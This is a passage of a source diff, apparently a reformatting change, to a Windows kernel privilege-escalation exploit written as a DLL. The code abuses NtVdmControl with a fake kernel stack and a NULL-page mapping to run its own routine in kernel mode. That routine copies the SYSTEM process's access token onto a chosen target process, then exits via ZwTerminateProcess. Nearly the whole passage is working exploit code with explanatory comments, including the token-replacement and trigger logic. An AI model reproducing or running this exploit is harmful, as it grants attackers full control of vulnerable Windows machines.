PsGetCurrentThreadStackBase = KernelGetProcByName("PsGetCurrentThreadStackBase"); - PsGetCurrentThreadStackLimit = KernelGetProcByName("PsGetCurrentThreadStackLimit"); - PsInitialSystemProcess = KernelGetProcByName("PsInitialSystemProcess"); - PsLookupProcessByProcessId = KernelGetProcByName("PsLookupProcessByProcessId"); - PsReferencePrimaryToken = KernelGetProcByName("PsReferencePrimaryToken"); - ZwTerminateProcess = KernelGetProcByName("ZwTerminateProcess"); + // Resolve some routines I need from the kernel export directory + DbgPrint = KernelGetProcByName("DbgPrint"); + PsGetCurrentThread = KernelGetProcByName("PsGetCurrentThread"); + PsGetCurrentProcessId = KernelGetProcByName("PsGetCurrentProcessId"); + PsGetCurrentThreadStackBase = KernelGetProcByName("PsGetCurrentThreadStackBase"); + PsGetCurrentThreadStackLimit = KernelGetProcByName("PsGetCurrentThreadStackLimit"); + PsInitialSystemProcess = KernelGetProcByName("PsInitialSystemProcess"); + PsLookupProcessByProcessId = KernelGetProcByName("PsLookupProcessByProcessId"); + PsReferencePrimaryToken = KernelGetProcByName("PsReferencePrimaryToken"); + ZwTerminateProcess = KernelGetProcByName("ZwTerminateProcess"); - CurrentThread = (PVOID) PsGetCurrentThread(); - StackLimit = (DWORD) PsGetCurrentThreadStackLimit(); - StackBase = (DWORD) PsGetCurrentThreadStackBase(); + CurrentThread = (PVOID) PsGetCurrentThread(); + StackLimit = (DWORD) PsGetCurrentThreadStackLimit(); + StackBase = (DWORD) PsGetCurrentThreadStackBase(); - //DbgPrint("FirstStage() Loaded, CurrentThread @%p Stack %p - %p\n", - // CurrentThread, - // StackBase, - // StackLimit); + //DbgPrint("FirstStage() Loaded, CurrentThread @%p Stack %p - %p\n", + // CurrentThread, + // StackBase, + // StackLimit); NewStack = StackBase - ((StackBase - StackLimit) / 2); - // First I need to repair my CurrentThread, find all references to my fake kernel - // stack and repair them. Note that by "repair" I mean randomly point them - // somewhere inside the real stack. + // First I need to repair my CurrentThread, find all references to my fake kernel + // stack and repair them. Note that by "repair" I mean randomly point them + // somewhere inside the real stack. // Walk only the offsets that could possibly be bad based on testing, and see if they need // to be swapped out. O(n^2) -> O(c) wins the race! for (i = 0; i < sizeof(ethreadOffsets) / sizeof (DWORD); i++) { CheckAndReplace((((PDWORD) CurrentThread)+ethreadOffsets[i]), - (DWORD) &KernelStackPointer[0], - (DWORD) &KernelStackPointer[KernelStackSize - 1], - (DWORD) NewStack); + (DWORD) &KernelStackPointer[0], + (DWORD) &KernelStackPointer[KernelStackSize - 1], + (DWORD) NewStack); } // DbgPrint("CurrentProcess: 0x%.8x (newstack: 0x%.8x\n", CurrentProcess, NewStack); @@ -145,83 +140,83 @@ VOID FirstStage() //DbgPrint("ThreadListHead[1]: FLink:0x%.8x, BLink:0x%.8x\n", ThreadListHead->Flink, ThreadListHead->Blink); - // Find the EPROCESS structure for the process I want to escalate - if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) { - PACCESS_TOKEN SystemToken; - PACCESS_TOKEN TargetToken; + // Find the EPROCESS structure for the process I want to escalate + if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) { + PACCESS_TOKEN SystemToken; + PACCESS_TOKEN TargetToken; - // What's the maximum size the EPROCESS structure is ever likely to be? - CONST DWORD MaxExpectedEprocessSize = 0x200; + // What's the maximum size the EPROCESS structure is ever likely to be? + CONST DWORD MaxExpectedEprocessSize = 0x200; - // DbgPrint("PsLookupProcessByProcessId(%u) => %p\n", TargetPid, TargetProcess); - //DbgPrint("PsInitialSystemProcess @%p\n", *PsInitialSystemProcess); + // DbgPrint("PsLookupProcessByProcessId(%u) => %p\n", TargetPid, TargetProcess); + //DbgPrint("PsInitialSystemProcess @%p\n", *PsInitialSystemProcess); - // Find the Token object for my target process, and the SYSTEM process. - TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess); - SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess); + // Find the Token object for my target process, and the SYSTEM process. + TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess); + SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess); - //DbgPrint("PsReferencePrimaryToken(%p) => %p\n", TargetProcess, TargetToken); - //DbgPrint("PsReferencePrimaryToken(%p) => %p\n", *PsInitialSystemProcess, SystemToken); + //DbgPrint("PsReferencePrimaryToken(%p) => %p\n", TargetProcess, TargetToken); + //DbgPrint("PsReferencePrimaryToken(%p) => %p\n", *PsInitialSystemProcess, SystemToken); - // Find the token in the target process, and replace with the system token. - FindAndReplaceMember((PDWORD) TargetProcess, - (DWORD) TargetToken, - (DWORD) SystemToken, - MaxExpectedEprocessSize, - TRUE); + // Find the token in the target process, and replace with the system token. + FindAndReplaceMember((PDWORD) TargetProcess, + (DWORD) TargetToken, + (DWORD) SystemToken, + MaxExpectedEprocessSize, + TRUE); // Success - pret = 'w00t'; - } else { - // Maybe the user closed the window? - // Report this failure - pret = 'LPID'; - } + pret = 'w00t'; + } else { + // Maybe the user closed the window? + // Report this failure + pret = 'LPID'; + } __asm { mov eax, -1 // ZwCurrentProcess macro returns -1 - mov ebx, NewStack - mov ecx, pret - mov edi, ZwTerminateProcess - mov esp, ebx // Swap the stack back to kernel-land - mov ebp, ebx // Swap the frame pointer back to kernel-land - sub esp, 256 - push ecx // Push the return code - push eax // Push the process handle - sti // Restore interrupts finally - call edi // Call ZwTerminateProcess - __emit 0xCC; // Hope we never end up here + mov ebx, NewStack + mov ecx, pret + mov edi, ZwTerminateProcess + mov esp, ebx // Swap the stack back to kernel-land + mov ebp, ebx // Swap the frame pointer back to kernel-land + sub esp, 256 + push ecx // Push the return code + push eax // Push the process handle + sti // Restore interrupts finally + call edi // Call ZwTerminateProcess + __emit 0xCC; // Hope we never end up here } } // Search the specified data structure for a member with CurrentValue. BOOL FindAndReplaceMember(PDWORD Structure, - DWORD CurrentValue, - DWORD NewValue, - DWORD MaxSize, - BOOL ObjectRefs) + DWORD CurrentValue, + DWORD NewValue, + DWORD MaxSize, + BOOL ObjectRefs) { - DWORD i, Mask; + DWORD i, Mask; - // Microsoft QWORD aligns object pointers, then uses the lower three - // bits for quick reference counting (nice trick). - Mask = ObjectRefs ? ~7 : ~0; + // Microsoft QWORD aligns object pointers, then uses the lower three + // bits for quick reference counting (nice trick). + Mask = ObjectRefs ? ~7 : ~0; - // Mask out the reference count. - CurrentValue &= Mask; + // Mask out the reference count. + CurrentValue &= Mask; - // Scan the structure for any occurrence of CurrentValue. - for (i = 0; i < MaxSize; i++) { - if ((Structure[i] & Mask) == CurrentValue) { - // And finally, replace it with NewValue. + // Scan the structure for any occurrence of CurrentValue. + for (i = 0; i < MaxSize; i++) { + if ((Structure[i] & Mask) == CurrentValue) { + // And finally, replace it with NewValue. if (ObjectRefs == FALSE) __asm int 3 - Structure[i] = NewValue; - return TRUE; - } - } + Structure[i] = NewValue; + return TRUE; + } + } - // Member not found. - return FALSE; + // Member not found. + return FALSE; } BOOL CheckAndReplace(PDWORD checkMe, DWORD rangeStart, DWORD rangeEnd, DWORD value) { @@ -236,158 +231,158 @@ BOOL CheckAndReplace(PDWORD checkMe, DWORD rangeStart, DWORD rangeEnd, DWORD val // Find an exported kernel symbol by name. PVOID KernelGetProcByName(PSTR SymbolName) { - PUCHAR ImageBase; - PULONG NameTable; - PULONG FunctionTable; - PUSHORT OrdinalTable; - PIMAGE_EXPORT_DIRECTORY ExportDirectory; - PIMAGE_DOS_HEADER DosHeader; - PIMAGE_NT_HEADERS PeHeader; - DWORD i; + PUCHAR ImageBase; + PULONG NameTable; + PULONG FunctionTable; + PUSHORT OrdinalTable; + PIMAGE_EXPORT_DIRECTORY ExportDirectory; + PIMAGE_DOS_HEADER DosHeader; + PIMAGE_NT_HEADERS PeHeader; + DWORD i; - ImageBase = (PUCHAR) KernelHandle; - DosHeader = (PIMAGE_DOS_HEADER) ImageBase; - PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew); - ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase - + PeHeader->OptionalHeader - . DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT] - . VirtualAddress); + ImageBase = (PUCHAR) KernelHandle; + DosHeader = (PIMAGE_DOS_HEADER) ImageBase; + PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew); + ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + + PeHeader->OptionalHeader + . DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT] + . VirtualAddress); - // Find required tablesa from the ExportDirectory. - NameTable = (PULONG)(ImageBase + ExportDirectory->AddressOfNames); - FunctionTable = (PULONG)(ImageBase + ExportDirectory->AddressOfFunctions); - OrdinalTable = (PUSHORT)(ImageBase + ExportDirectory->AddressOfNameOrdinals); + // Find required tablesa from the ExportDirectory. + NameTable = (PULONG)(ImageBase + ExportDirectory->AddressOfNames); + FunctionTable = (PULONG)(ImageBase + ExportDirectory->AddressOfFunctions); + OrdinalTable = (PUSHORT)(ImageBase + ExportDirectory->AddressOfNameOrdinals); - // Scan each entry for a matching name. - for (i = 0; i < ExportDirectory->NumberOfNames; i++) { - PCHAR Symbol = ImageBase + NameTable[i]; + // Scan each entry for a matching name. + for (i = 0; i < ExportDirectory->NumberOfNames; i++) { + PCHAR Symbol = ImageBase + NameTable[i]; - if (strcmp(Symbol, SymbolName) == 0) { - // Symbol found, return the appropriate entry from FunctionTable. - return (PVOID)(ImageBase + FunctionTable[OrdinalTable[i]]); - } - } + if (strcmp(Symbol, SymbolName) == 0) { + // Symbol found, return the appropriate entry from FunctionTable. + return (PVOID)(ImageBase + FunctionTable[OrdinalTable[i]]); + } + } - // Symbol not found, this is likely fatal :-( - return NULL; + // Symbol not found, this is likely fatal :-( + return NULL; } // Exploit entrypoint. BOOL APIENTRY DllMain(HMODULE Module, DWORD Reason, LPVOID Reserved) { - CONST DWORD MinimumExpectedVdmTibSize = 0x400; - CONST DWORD MaximumExpectedVdmTibSize = 0x800; - FARPROC NtVdmControl; - DWORD KernelStack[KernelStackSize]; - DWORD Ki386BiosCallReturnAddress; - CHAR Pid[32], Off[32], Krn[32]; - struct { - ULONG Size; - PVOID Padding0; - PVOID Padding1; - CONTEXT Padding2; - CONTEXT VdmContext; - DWORD Padding3[1024]; - } VdmTib = {0}; + CONST DWORD MinimumExpectedVdmTibSize = 0x400; + CONST DWORD MaximumExpectedVdmTibSize = 0x800; + FARPROC NtVdmControl; + DWORD KernelStack[KernelStackSize]; + DWORD Ki386BiosCallReturnAddress; + CHAR Pid[32], Off[32], Krn[32]; + struct { + ULONG Size; + PVOID Padding0; + PVOID Padding1; + CONTEXT Padding2; + CONTEXT VdmContext; + DWORD Padding3[1024]; + } VdmTib = {0}; - // Initialise these structures with recognisable constants to ease debugging. - FillMemory(&VdmTib, sizeof VdmTib, 'V'); - FillMemory(&KernelStack, sizeof KernelStack, 'K'); + // Initialise these structures with recognisable constants to ease debugging. + FillMemory(&VdmTib, sizeof VdmTib, 'V'); + FillMemory(&KernelStack, sizeof KernelStack, 'K'); - // Parent passes parameters via environment variables. - // - // - VDM_TARGET_PID - // Pid of the process to transplant a SYSTEM token onto. - // - VDM_TARGET_OFF - // Offset from ntoskrnl of Ki386BiosCallReturnAddress. - // - VDM_TARGET_KRN - // Ntoskrnl base address. + // Parent passes parameters via environment variables. + // + // - VDM_TARGET_PID + // Pid of the process to transplant a SYSTEM token onto. + // - VDM_TARGET_OFF + // Offset from ntoskrnl of Ki386BiosCallReturnAddress. + // - VDM_TARGET_KRN + // Ntoskrnl base address. - GetEnvironmentVariable("VDM_TARGET_PID", Pid, sizeof Pid); - GetEnvironmentVariable("VDM_TARGET_KRN", Krn, sizeof Krn); - GetEnvironmentVariable("VDM_TARGET_OFF", Off, sizeof Off); + GetEnvironmentVariable("VDM_TARGET_PID", Pid, sizeof Pid); + GetEnvironmentVariable("VDM_TARGET_KRN", Krn, sizeof Krn); + GetEnvironmentVariable("VDM_TARGET_OFF", Off, sizeof Off); - NtVdmControl = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl"); - TargetPid = strtoul(Pid, NULL, 0); + NtVdmControl = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl"); + TargetPid = strtoul(Pid, NULL, 0); - // Setup the fake kernel stack, and install a minimal VDM_TIB, - KernelStackPointer = KernelStack; - KernelStack[0] = (DWORD) &KernelStack[8]; // Esp - KernelStack[1] = (DWORD) NtCurrentTeb(); // Teb - KernelStack[2] = (DWORD) NtCurrentTeb(); // Teb - KernelStack[7] = (DWORD) FirstStage; // RetAddr - KernelHandle = (HMODULE) strtoul(Krn, NULL, 0); - VdmTib.Size = MinimumExpectedVdmTibSize; - *NtCurrentTeb()->Reserved4 = &VdmTib; + // Setup the fake kernel stack, and install a minimal VDM_TIB, + KernelStackPointer = KernelStack; + KernelStack[0] = (DWORD) &KernelStack[8]; // Esp + KernelStack[1] = (DWORD) NtCurrentTeb(); // Teb + KernelStack[2] = (DWORD) NtCurrentTeb(); // Teb + KernelStack[7] = (DWORD) FirstStage; // RetAddr + KernelHandle = (HMODULE) strtoul(Krn, NULL, 0); + VdmTib.Size = MinimumExpectedVdmTibSize; + *NtCurrentTeb()->Reserved4 = &VdmTib; - // Initialize the VDM Subsystem. - InitializeVdmSubsystem(); + // Initialize the VDM Subsystem. + InitializeVdmSubsystem(); - VdmTib.Size = MinimumExpectedVdmTibSize; - VdmTib.VdmContext.SegCs = 0x0B; - VdmTib.VdmContext.Esi = (DWORD) &KernelStack; - VdmTib.VdmContext.Eip = strtoul(Krn, NULL, 0) + strtoul(Off, NULL, 0); - VdmTib.VdmContext.EFlags = EFLAGS_TF_MASK; - *NtCurrentTeb()->Reserved4 = &VdmTib; + VdmTib.Size = MinimumExpectedVdmTibSize; + VdmTib.VdmContext.SegCs = 0x0B; + VdmTib.VdmContext.Esi = (DWORD) &KernelStack; + VdmTib.VdmContext.Eip = strtoul(Krn, NULL, 0) + strtoul(Off, NULL, 0); + VdmTib.VdmContext.EFlags = EFLAGS_TF_MASK; + *NtCurrentTeb()->Reserved4 = &VdmTib; // Allow thread initialization to complete. Without is, there is a chance // of a race in KiThreadInitialize's call to SwapContext Sleep(1000); - // Trigger the vulnerable code via NtVdmControl(). - while (VdmTib.Size++ < MaximumExpectedVdmTibSize) - NtVdmControl(VdmStartExecution, NULL); + // Trigger the vulnerable code via NtVdmControl(). + while (VdmTib.Size++ < MaximumExpectedVdmTibSize) + NtVdmControl(VdmStartExecution, NULL); - // Unable to find correct VdmTib size. - ExitThread('VTIB'); + // Unable to find correct VdmTib size. + ExitThread('VTIB'); } // Setup a minimal execution environment to satisfy NtVdmControl(). BOOL InitializeVdmSubsystem() { - FARPROC NtAllocateVirtualMemory; - FARPROC NtFreeVirtualMemory; - FARPROC NtVdmControl; - PBYTE BaseAddress; - ULONG RegionSize; - static DWORD TrapHandler[128]; - static DWORD IcaUserData[128]; - static struct { - PVOID TrapHandler; - PVOID IcaUserData; - } InitData; + FARPROC NtAllocateVirtualMemory; + FARPROC NtFreeVirtualMemory; + FARPROC NtVdmControl; + PBYTE BaseAddress; + ULONG RegionSize; + static DWORD TrapHandler[128]; + static DWORD IcaUserData[128]; + static struct { + PVOID TrapHandler; + PVOID IcaUserData; + } InitData; - NtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL"), "NtAllocateVirtualMemory"); - NtFreeVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL"), "NtFreeVirtualMemory"); - NtVdmControl = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl"); - BaseAddress = (PVOID) 0x00000001; - RegionSize = (ULONG) 0x00000000; - InitData.TrapHandler = TrapHandler; - InitData.IcaUserData = IcaUserData; + NtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL"), "NtAllocateVirtualMemory"); + NtFreeVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL"), "NtFreeVirtualMemory"); + NtVdmControl = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl"); + BaseAddress = (PVOID) 0x00000001; + RegionSize = (ULONG) 0x00000000; + InitData.TrapHandler = TrapHandler; + InitData.IcaUserData = IcaUserData; - // Remove anything currently mapped at NULL - NtFreeVirtualMemory(GetCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE); + // Remove anything currently mapped at NULL + NtFreeVirtualMemory(GetCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE); - BaseAddress = (PVOID) 0x00000001; - RegionSize = (ULONG) 0x00100000; + BaseAddress = (PVOID) 0x00000001; + RegionSize = (ULONG) 0x00100000; - // Allocate the 1MB virtual 8086 address space. - if (NtAllocateVirtualMemory(GetCurrentProcess(), - &BaseAddress, - 0, - &RegionSize, - MEM_COMMIT | MEM_RESERVE, - PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS) { - ExitThread('NTAV'); - return FALSE; - } + // Allocate the 1MB virtual 8086 address space. + if (NtAllocateVirtualMemory(GetCurrentProcess(), + &BaseAddress, + 0, + &RegionSize, + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS) { + ExitThread('NTAV'); + return FALSE; + } - // Finalise the initialisation. - if (NtVdmControl(VdmInitialize, &InitData) != STATUS_SUCCESS) { - ExitThread('VDMC'); - return FALSE; - } + // Finalise the initialisation. + if (NtVdmControl(VdmInitialize, &InitData) != STATUS_SUCCESS) { + ExitThread('VDMC'); + return FALSE; + } - return TRUE; + return TRUE; }